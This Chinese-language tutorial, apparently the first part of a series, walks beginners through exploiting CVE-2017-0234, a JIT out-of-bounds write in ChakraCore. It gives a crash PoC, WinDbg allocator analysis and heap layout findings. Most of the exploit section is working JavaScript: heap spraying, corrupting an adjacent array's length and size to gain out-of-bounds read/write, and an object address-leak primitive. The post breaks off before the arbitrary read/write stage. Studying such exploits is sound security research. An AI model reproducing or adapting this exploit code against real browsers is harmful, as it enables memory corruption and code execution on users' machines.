背景阐述
自2007举办至今,在pwn2own的比赛中,浏览器一直是重头戏。观看比赛的同时,相信好多小伙伴已经跃跃欲试了。但你还记得有多少次信心满满,最后又都暂且搁置了呢?文章主要针对浏览器漏洞利用零基础的人群,笔者详细记录了在漏洞利用过程走过的一些坑与总结的技巧。最终达到在解决一些共有的痛点的同时,重新恢复大家漏洞利用的信心,毕竟哪位伟人曾经曰过:信心比黄金还宝贵。
文章目标
看着大佬的花式炫技,就是无从下手怎么办?眼看千遍,不如动手一遍。毕竟眼见为实,也更加有趣。勤动手操作,零基础在浏览器中稳定的弹出第一个计算器!
动手实战
这里以 CVE-2017-0234为例,ch 的版本为:v1.4.3。poc 文件如下:
function jitBlock(arr, index)
{
arr[index] = 0xdeedbeef;
}
var arr = new Uint32Array(0x40000/4)
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0)
}
jitBlock(arr, 0x7fffffff)
windbg 中运行 poc 后,得到如下crash信息:
对比 js 文件与汇编,我们很容易发现 rbx 寄存器代表整个 typearray, r14 代表数组的索引。漏洞原因:jit 代码生成时,过度优化导致的数组越界访问。
背景知识
我们现在只知道这个洞可以越界写,那么怎么把这个洞利用起来呢?回答这个疑问,需要解决一些基础问题:
1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
2. 分配的大小是否任意值?
3. 漏洞对象分配由于内存对齐等原因,实际占有多大空间?
我们挨个解决上述问题。
1. 漏洞对象的分配使用哪个分配器(VirtualAlloc、malloc、HeapAlloc、MemGC)?
解决这个问题,方便我们决定用哪个对象把越界区域占住。
首先模糊匹配系统中有哪些 alloc 相关的api。
> x kernel32!virtual*
00007ff8`fc40b0d0 KERNEL32!VirtualQueryStub (<no parameter info>)
00007ff8`fc40a2a0 KERNEL32!VirtualAllocStub (<no parameter info>)
00007ff8`fc4273e0 KERNEL32!VirtualProtectExStub (<no parameter info>)
00007ff8`fc40b0b0 KERNEL32!VirtualProtectStub (<no parameter info>)
00007ff8`fc40ba70 KERNEL32!VirtualUnlockStub (<no parameter info>)
00007ff8`fc4105b0 KERNEL32!VirtualAllocExNumaStub (<no parameter info>)
00007ff8`fc40a2c0 KERNEL32!VirtualFreeStub (<no parameter info>)
00007ff8`fc4273c0 KERNEL32!VirtualAllocExStub (<no parameter info>)
00007ff8`fc40b0a0 KERNEL32!VirtualQueryExStub (<no parameter info>)
00007ff8`fc4273d0 KERNEL32!VirtualFreeExStub (<no parameter info>)
00007ff8`fc40ed20 KERNEL32!VirtualLockStub (<no parameter info>)
把关键 api 的参数及返回值打印出来
> bu KERNELBASE!VirtualAlloc ".if(@rdx>=0x40000){.printf "addr=%p size=%p\n ",rcx, rdx; gc} .else{gc}"
> bu KERNELBASE!VirtualAlloc+0x5a ".if(1==2){} .else{.printf "ret=%p \n",rax;gc}"
重新运行后,可以确定 arr 数组确实是由 VirtualAlloc 分配,有两处与之相关的分配记录,分配的地址相同,大小不一样,感兴趣的同学可以继续把 VirtualAlloc的其他参数打印出来。至于为什么同一个地址进行两次分配,这个问题我们放在后面统一释疑,目前只关注漏洞利用本身。
2. 分配的大小是否任意值?
要提高漏洞利用的成功率,首先需要确保漏洞的稳定复现。这里先使用结论,原因同上,释疑放在后面。
> bu chakracore!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength
/*
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
*/
分配的长度需要同时满足上述的条件,所以 len >= 2^(16+n) or > 2^(24+n)。 [这里 n 满足非负整数]
所以满足条件的最小len为 2^16 = 0x10000
3. 漏洞对象分配由于内存对齐,实际占有多大空间?
windbg 的 address 命令可以解决这个疑问。
000001c3`21cc00d2 42893cab mov dword ptr [rbx+r13*4],edi ds:000001c2`21c9fffc=????????
0:003> !address rbx
Usage: <unknown>
Base Address: 000001c0`21ca0000
End Address: 000001c0`21cb0000
Region Size: 00000000`00010000 ( 64.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 000001c0`21ca0000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 1 (target), length: 10000
0:003> !address 000001c0`21cb0000
Usage: <unknown>
Base Address: 000001c0`21cb0000
End Address: 000001c1`21ca0000
Region Size: 00000000`ffff0000 ( 4.000 GB)
State: 00002000 MEM_RESERVE
Protect: <info not present at the target>
Type: 00020000 MEM_PRIVATE
Allocation Base: 000001c0`21ca0000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 0 (invalid), length: ffff0000
两部分总计的内存为:0xffff0000 + 0x10000 = 0x100000000=4G,调整 poc 实际验证下:
function jitBlock(arr, index, value)
{
arr[index] = value;
}
var arr = new Uint32Array(0x40000/4);
var spray_arr = new Uint32Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
结论: 内存数据喷射可以选择 obj 为:Uint32Array,两个Uint32Array相隔距离为:0x100000000。
Exp 部分开始
在获得上述背景知识后, 我们可以立即进入Exp了。这部分最为精彩,也请感兴趣的读者动手操作起来。
1 – 越界写 to 越界读写
单纯的越界写对象的数据部分没有多大意义,我们需要修改一个对象的头信息,也就是对象的元数据。修改的目的是:让对象获得比之前更大的空间访问能力(越界读写)。
这里继续修改 poc:
function jitBlock(arr, index, value)
{
arr[index] = value;
}
var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
这里我们看到 spray_arr 的元数据在 arr 之后,用 windbg 帮我解析下数据的格式:
> dx -r1 ((chakracore!Js::SparseArraySegmentBase *)0x1b19d0c0020)
对照 上图, spray_arr 的元数据开始于0x1b19d0c0020, left 为0, length 为 0x1(代表当前 segment 初始化了一个元素 0x42424242), size 为 0x10002。
为了让 spray_arr 数组获得越界读写的能力, 需要 arr 数组越界写掉它的 length 和 size 和两个域。
调整poc 如下:
function jitBlock(arr, index, value)
{
arr[index] = value;
}
var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
var spray_arr_len_index = (0x100000000 )/4 +9;
var spray_arr_size_index = (0x100000000 )/4+ 10;
jitBlock(arr, spray_arr_len_index, 0x7fffffff);
jitBlock(arr, spray_arr_size_index, 0x7fffffff);
length 和 size 顺利被修改。至此, 越界写已经顺利转化为越界读写。
2 – 越界读写 to 任意地址读写
任意地址读写需要 fake 一个 DataView , 首先需要一个泄漏任意地址的原语。还记得我们当初的目标吗?“零基础在浏览器中稳定的弹出第一个计算器”,对吧?我们这里重构一下代码,以便稳扎稳打的进行后面的环节。
function log(str){
print(str);
}
function jitBlock(type_arr, index, value)
{
type_arr[index] = value;
}
function force_jit(){
var arr = new Uint32Array(0x40000/4);
for(var i=0; i < 0x10000; i++){
jitBlock(arr, 0, 0x41414141);
}
}
force_jit();
function oob_write(arr, index, value){
jitBlock(arr, index, value);
}
//arr : @typearray
//index: @int [0 - 0xffffffff]
//value: @int [0 - 0x7fffffff]
//export API : oob_write
// let us spray it
let fill_vec = new Array();
var fill_len = 0x1000;
var vul_arr;
var int_arr;
var obj_arr;
for (var i=0; i< fill_len; i++){
vul_arr = new Uint32Array(0x40000/4);
vul_arr[0] = 0;
int_arr = new Array(0x40000/4);
// int_arr[0] is a hole for OOB write
// int_arr[1] is a flag "OWN" 0x4e574f, to construct "PWN2OWN"
int_arr[1] = 0x4e574f;
oob_write(vul_arr, 0x100000000/4 + 14, 0x324e5750); // OOB write "PWN2" 0x324e5750
if( 0x324e5750 == int_arr[0]){
log("found it:"+ i);
// new obj arr to leak addresss
obj_arr = new Array(0x40000/4);
obj_arr[0] = obj_arr;
break;
}
}
function modify_oob_arr_attri(new_capacity){
var arr_len_index = 0x100000000/4 + 9;
var arr_size_index = 0x100000000/4 + 10;
oob_write(vul_arr ,arr_len_index, new_capacity);
oob_write(vul_arr ,arr_size_index, new_capacity);
int_arr.length = 0xffff0000;
}
modify_oob_arr_attri(0x7fffffff);
这里借助 vul_arr 的越界写,修改后面的 int_arr 的内存,如果 int_arr 读出该越界写的数据,则判断数据喷射成功,否则进行下一次尝试。obj_arr 用作存储任意 obj 的地址, int_arr 越界读取obj的地址。以下操作即可泄漏出任意 obj 的地址。
function leak_obj_addr(obj){
obj_arr[0] = obj;
var addr_high_index = 0x50000/4 + 1;
var addr_low_index = 0x50000/4;
var tmp = new Uint32Array(2);
tmp[0] = int_arr[addr_high_index];
tmp[1] = int_arr[addr_low_index];
var addr = tmp[0]*0x100000000 + tmp[1];
return addr;
}
接下来需要 fake 一个 DataView 来完成任意地址读写,怎么样才能稳定的 fake 一个DataView呢?需要再次数据喷射吗, 还是有其他技巧?详细篇幅有点长,我们把内容放在第二篇文章,敬请期待。